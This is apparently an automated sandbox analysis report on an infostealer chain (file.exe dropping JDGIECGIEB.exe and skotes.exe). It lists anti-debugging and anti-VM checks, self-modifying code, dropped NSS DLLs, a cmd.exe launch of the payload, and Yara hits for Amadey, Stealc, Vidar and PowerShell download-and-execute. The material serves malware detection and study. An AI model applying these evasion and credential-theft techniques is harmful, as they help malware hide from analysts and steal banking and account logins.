Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 3706EF second address: 37077A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4465131BC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4465131BD9h 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F4465131BC8h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d mov edi, dword ptr [ebp+1246E408h] 0x00000033 push 00000000h 0x00000035 mov dword ptr [ebp+122D351Eh], edi 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push edi 0x00000040 call 00007F4465131BC8h 0x00000045 pop edi 0x00000046 mov dword ptr [esp+04h], edi 0x0000004a add dword ptr [esp+04h], 0000001Bh 0x00000052 inc edi 0x00000053 push edi 0x00000054 ret 0x00000055 pop edi 0x00000056 ret 0x00000057 mov dword ptr [ebp+122D1DBAh], ecx 0x0000005d xchg eax, esi 0x0000005e push eax 0x0000005f pushad 0x00000060 jc 00007F4465131BC6h 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 3727B4 second address: 3727E0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F44646ECA46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jl 00007F44646ECA66h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F44646ECA58h 0x00000019 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 37385E second address: 373862 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 373862 second address: 373868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 378B55 second address: 378B5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 37B95F second address: 37B966 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 37DF75 second address: 37DF7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F4465131BC6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 36CB73 second address: 36CB80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 36CB80 second address: 36CB84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 36EB42 second address: 36EB4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 36EB4F second address: 36EB53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 371836 second address: 371840 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F44646ECA46h 0x0000000a rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 370A17 second address: 370A30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jng 00007F4465131BC6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007F4465131BC8h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 371840 second address: 371844 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 371844 second address: 37186E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 je 00007F4465131BEBh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4465131BD9h 0x00000016 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 37186E second address: 371872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 373A0D second address: 373A11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 373A11 second address: 373A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 375A78 second address: 375A93 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4465131BC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4465131BCFh 0x00000011 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 379BC5 second address: 379BCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 375A93 second address: 375A97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 379BCB second address: 379BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 85FC98 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A06BC8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 85D17A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A0FBB9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A8EFC1 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Special instruction interceptor: First address: 1BECE9 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Special instruction interceptor: First address: 35BEA7 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Special instruction interceptor: First address: 37DFC2 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Special instruction interceptor: First address: 3E6BB1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 61ECE9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7BBEA7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7DDFC2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 846BB1 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Documents\JDGIECGIEB.exe

Code function: 16_2_04B20CA1 rdtsc

16_2_04B20CA1

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1012962001\931e3b56d4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7644	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7620	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7620	Thread sleep time: -74037s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7616	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7616	Thread sleep time: -86043s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7720	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7624	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7624	Thread sleep time: -74037s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7640	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6052	Thread sleep count: 53 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6052	Thread sleep time: -1590000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6052	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\JDGIECGIEB.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB4EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6CB4EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000012.00000002.2063321615.000000000079B000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000014.00000002.2645365146.000000000079B000.00000040.00000001.01000000.0000000E.sdmp, file.exe	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: BGCAFHCA.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: BGCAFHCA.0.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: BGCAFHCA.0.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: file.exe, 00000000.00000002.1979370069.0000000000BD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:cuI
Source: BGCAFHCA.0.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: BGCAFHCA.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: BGCAFHCA.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: BGCAFHCA.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: BGCAFHCA.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: BGCAFHCA.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: BGCAFHCA.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: BGCAFHCA.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: BGCAFHCA.0.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: file.exe, 00000000.00000003.1743257678.0000000000BB6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1979370069.0000000000B98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1979370069.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743257678.0000000000B98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1979370069.0000000000BB6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743257678.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000002.2647162838.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000002.2647162838.00000000009F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BGCAFHCA.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: BGCAFHCA.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: BGCAFHCA.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: BGCAFHCA.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: BGCAFHCA.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: BGCAFHCA.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: BGCAFHCA.0.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: file.exe, 00000000.00000002.1978262092.0000000000611000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: iMSHN6QKQEMUh;=a
Source: BGCAFHCA.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: file.exe, 00000000.00000002.1978262092.0000000000611000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: MSHN6QKQEMU
Source: BGCAFHCA.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: BGCAFHCA.0.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: BGCAFHCA.0.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: file.exe, 00000000.00000002.1979370069.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: BGCAFHCA.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: BGCAFHCA.0.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: BGCAFHCA.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: BGCAFHCA.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: file.exe	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: BGCAFHCA.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: BGCAFHCA.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: BGCAFHCA.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: BGCAFHCA.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Documents\JDGIECGIEB.exe

Code function: 16_2_04B20D06 Start: 04B20D57 End: 04B20D51

16_2_04B20D06

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\JDGIECGIEB.exe

Code function: 16_2_04B20CA1 rdtsc

16_2_04B20CA1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC1AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CC1AC62

Source: C:\Users\user\Documents\JDGIECGIEB.exe	Code function: 16_2_0018652B mov eax, dword ptr fs:[00000030h]	16_2_0018652B
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Code function: 16_2_0018A302 mov eax, dword ptr fs:[00000030h]	16_2_0018A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_005EA302 mov eax, dword ptr fs:[00000030h]	17_2_005EA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_005E652B mov eax, dword ptr fs:[00000030h]	17_2_005E652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_005EA302 mov eax, dword ptr fs:[00000030h]	18_2_005EA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_005E652B mov eax, dword ptr fs:[00000030h]	18_2_005E652B

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC1AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CC1AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7560, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\JDGIECGIEB.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\JDGIECGIEB.exe "C:\Users\user\Documents\JDGIECGIEB.exe"	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC64760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CC64760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB41C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6CB41C30

Source: file.exe, file.exe, 00000000.00000002.1978921655.0000000000A2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager
Source: skotes.exe, skotes.exe, 00000012.00000002.2063786095.00000000007DC000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000014.00000002.2645875194.00000000007DC000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: (Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC1AE71 cpuid

0_2_6CC1AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC1A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6CC1A8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB68390 NSS_GetVersion,

0_2_6CB68390

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 18.2.skotes.exe.5b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.skotes.exe.5b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.skotes.exe.5b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.JDGIECGIEB.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2062939332.00000000005B1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2050408210.00000000005B1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2019078074.0000000000151000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2644831254.00000000005B1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1979370069.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1978262092.0000000000611000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7560, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

